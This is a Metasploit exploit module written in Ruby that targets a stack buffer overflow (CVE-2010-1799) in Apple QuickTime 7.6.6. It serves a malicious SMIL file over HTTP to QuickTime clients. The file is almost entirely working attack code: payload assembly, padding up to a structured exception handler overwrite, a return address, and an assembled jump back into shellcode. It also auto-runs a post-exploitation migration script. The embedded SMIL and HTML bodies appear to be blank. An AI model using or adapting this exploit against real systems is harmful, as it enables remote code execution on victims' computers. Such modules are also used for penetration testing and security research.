##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking # needs more testing/targets to be Great
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Seh
# include Msf::Exploit::Remote::BrowserAutopwn
# autopwn_info({
# :os_name => OperatingSystems::Match::WINDOWS,
# :javascript => true,
# :rank => NormalRanking, # reliable memory corruption
# :vuln_test => nil,
# })
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Apple QuickTime
7.6.6. When processing a malformed SMIL uri, a stack-based buffer
overflow can occur when logging an error message.
},
'Author' => [
'Krystian Kloskowski', # original discovery
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2010-1799' ],
[ 'OSVDB', '66636'],
[ 'BID', '41962' ],
[ 'URL', 'http://web.archive.org/web/20100729143247/http://secunia.com:80/advisories/40729' ],
[ 'URL', 'http://support.apple.com/kb/HT4290' ]
],
'DefaultOptions' => {
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' => {
'Space' => 640, # 716 - 63 - 8 - 5
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
},
'Platform' => 'win',
'Targets' => [
# [ 'Automatic', { } ],
[
'Apple QuickTime Player 7.6.6',
{
'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
}
],
],
'Privileged' => false,
'DisclosureDate' => '2010-08-12',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def on_request_uri(client, request)
return if ((p = regenerate_payload(client)) == nil)
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
print_status("Sending exploit SMIL (target: #{target.name})")
# This is all basically filler on the browser target because we can't
# expect the SEH to be in a reliable place across multiple browsers.
# Heap spray ftw.
off = 716
start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"
scheme = rand_text_alphanumeric(5)
sploit = ''
sploit << scheme
sploit << "://"
# payload
sploit << p.encoded
# pad to SEH
sploit << rand_text_english(off - sploit.length - start.length)
# seh frame
sploit << generate_seh_record(target.ret)
# jmp back to payload
distance = off + 8 - (8 + start.length)
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
# force exception while writing
sploit << rand_text(1024) * 15
smil = %Q|
|
send_response(client, smil, { 'Content-Type' => "application/smil" })
else
print_status("Sending initial HTML")
shellcode = Rex::Text.to_unescape(p.encoded)
url = ((datastore['SSL']) ? "https://" : "http://")
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
url << ":" + datastore['SRVPORT'].to_s
url << get_resource
fname = rand_text_alphanumeric(4)
content = ""
content << <<-ENDEMBED
ENDEMBED
content << ""
send_response(client, content, { 'Content-Type' => "text/html" })
end
# Handle the payload
handler(client)
end
end